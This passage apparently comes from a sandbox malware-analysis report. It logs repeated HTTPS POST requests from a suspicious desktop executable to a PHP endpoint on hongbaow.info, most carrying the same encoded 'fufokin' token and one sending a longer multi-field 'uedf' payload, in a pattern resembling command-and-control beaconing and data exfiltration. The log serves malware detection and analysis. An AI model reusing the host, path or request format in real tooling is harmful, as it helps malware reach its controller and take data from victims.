2025-01-22 07:36:48 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:49 UTC	807	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RG4Boudi%2FA27Y9rOn8Cdsj0pRViuJCWvsWOi7qUEMcqeGYkhCcdw2tAVVevebvST2UGmoFKJzigmYfCpHZe%2FQbZeIyOwfUoAmK1AJcUZyrMSVCkvIIOK%2FCZU0bwOPS8J"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de009a98a8ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1790&min_rtt=1777&rtt_var=692&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1552365&cwnd=237&unsent_bytes=0&cid=d8320add37373834&ts=323&x=0"
2025-01-22 07:36:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50076	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:49 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:49 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:49 UTC	805	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8xi2zbO3P4hcTfVMmu1PeGyJjl6KlfhyggQCCMRWXD2nGMrHGcWGgthnE5B4Yod8YspvDqFpsERr5H8CNK7pT5osQgP%2FjSPgHRH3RQlW4c1owP6Yh7cWp%2FiAnRbPWXY3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de00f0b708ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1789&min_rtt=1785&rtt_var=679&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1600877&cwnd=237&unsent_bytes=0&cid=7e76c7ba57a06d60&ts=332&x=0"
2025-01-22 07:36:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50077	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:50 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:50 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:50 UTC	815	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A4Jy%2BJ9udt5FJHNso%2F5RbQxEThxBuoqliyr9jqtuwMqZpE6IiVGRs7%2FGZZj3m%2Ff%2Byw6CJ02LvmAtlJt8Q%2BQjBx7WIPHcy7evQ45leDTjHomueCysue%2FBOkhjlUK9Iaid"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de0144ad94414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1568&min_rtt=1562&rtt_var=599&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1805813&cwnd=180&unsent_bytes=0&cid=53803dee636adc1d&ts=329&x=0"
2025-01-22 07:36:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50078	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:51 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:51 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:51 UTC	813	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7VF8Q%2FA068yUMUTF3DHAwMr%2Bg5jd%2BkIYddhiH5n8UoQ3cgbAW5GnE8%2FTo969UiRVV%2FPAH4dgFiwNM3Tbh0S3YhiBYC6mPzILyjKxHNT3gLUveYL%2BQodVZZEmuBN6gJyM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de019bee18ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1841&min_rtt=1818&rtt_var=698&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1606160&cwnd=237&unsent_bytes=0&cid=93b42f684b067e3b&ts=335&x=0"
2025-01-22 07:36:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50079	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:52 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:52 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:52 UTC	809	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U97EQE4Ux63RJWBmLrCloxAMVK%2F6%2FS8C1D0mNruk5tF63RMxRJy3Wp44NboDtjcw%2FnQXn68Fue5uiKG55uQvyDB6jscLyeTbn5qXK9q2W%2BmTbGBF0LD9JuCpxdbxZrau"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de01ef8f442eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1612&min_rtt=1596&rtt_var=610&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1829573&cwnd=215&unsent_bytes=0&cid=49e33018b8f1d885&ts=343&x=0"
2025-01-22 07:36:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50080	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:53 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:53 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:53 UTC	809	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=08r4vu6pU34MAUZ50z9hxQEIebNRehqVTMwhLzlK0BoxcUfoYoV3CmoWb6AjgJ5ry2pCA%2F1mcGmfFzGj1FpT4cjnKqa%2ByvAGYFLEopdCcr5zFxe%2FCCswaZd6dt%2FK5SOS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de0243ef5c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1535&min_rtt=1532&rtt_var=580&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1875401&cwnd=155&unsent_bytes=0&cid=8846f7a5adb36b8f&ts=319&x=0"
2025-01-22 07:36:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50081	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:53 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:36:53 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:36:53 UTC	804	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=09ZIBcSiwtMmfRMzweC41iECfQHJ7m78T0ANUvdbAOmEYdGxPiw05X1VHz0uIAnb2VtLhXkG6KwY1Tzu87iY%2B1OgY94fTdr6WOUQcBjQnZ3yxxZDXVeOEBOfhubLi4U8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de026df90c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1571&rtt_var=606&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1170&delivery_rate=1781574&cwnd=155&unsent_bytes=0&cid=2fcdad99caa83dba&ts=337&x=0"
2025-01-22 07:36:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50082	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:53 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:53 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:54 UTC	811	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hha%2BYczal%2BvztdyXXazWCl1pO%2FRp%2BwLdZwpKkr4J0zj6vcUZ2Sc7nqRQftvMzv6uGCGoNY2vQyukJMvTcTIvQzIROAVFnrrC%2BMmWYJyzDvK86DA6udbSGmwu1b2JQUWL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de0294bf6de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1491&min_rtt=1486&rtt_var=561&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1965006&cwnd=246&unsent_bytes=0&cid=e5493b49440e4932&ts=307&x=0"
2025-01-22 07:36:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50083	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:54 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:54 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:55 UTC	815	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jdwsRABaUUk9bcCaTvqjq2mj02jze%2FBM%2BBLKviMA3lRtWl%2Bl1DGmPc%2BaGZ9Ejxy2lhBtGK%2BU3Kfz2ocUXnawTIc2tgTDHo3qvEom1uHfQfWx0ot%2FrrZ%2FNPxNGcLw8ty7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de02e79a9c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1489&min_rtt=1483&rtt_var=569&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1901041&cwnd=155&unsent_bytes=0&cid=568bb57c384a0e3c&ts=337&x=0"
2025-01-22 07:36:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50084	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:55 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:55 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:55 UTC	807	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pMeqtARROEWaHkCU3ehIzjxZEu8LUsYNWPGJUge9r0tf34embwNg1IG%2FacTN%2FEuG29wyfrJ6j5wwe36fVwe0luRzenLiIQrd5AMwqzAYoCrVC76O6%2FiA7SmQoulvoxiO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de0338feb7c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1809&min_rtt=1809&rtt_var=678&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1613259&cwnd=218&unsent_bytes=0&cid=6198cfc0a4793273&ts=323&x=0"
2025-01-22 07:36:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50085	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:56 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:56 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:56 UTC	809	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7l6qk1EQycygK22qPBiZqDl3Dpq2SGoW6ZFUH5wGL5mD2EKfHTGMTzrv9TW2fPJS%2F%2BsHmElDCMYfB%2FmhJ0RdXUadUMkmnAQq5vyLPhD3L8kYrNCmV16dwiyeruB6u%2BlR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de0390c0d42eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1576&rtt_var=597&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1825000&cwnd=215&unsent_bytes=0&cid=0bb1a22b23425256&ts=340&x=0"
2025-01-22 07:36:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50086	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:57 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:57 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:57 UTC	807	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z9la1N66dtQwXQSXviObe00HL8DdZhxDrKDLbnbjY%2BhRG4iFMFWawjqeaolAzqVPj3t0WAZy%2Fl3Gf9WcI5wmpUyGTTrq4C%2B1WTDZpwI9YeQLiclVEwbWKHpRFsofIegg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de03e58f68ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1775&min_rtt=1757&rtt_var=696&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1531200&cwnd=237&unsent_bytes=0&cid=87ae797ebbe3f1dd&ts=349&x=0"
2025-01-22 07:36:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50087	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:58 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
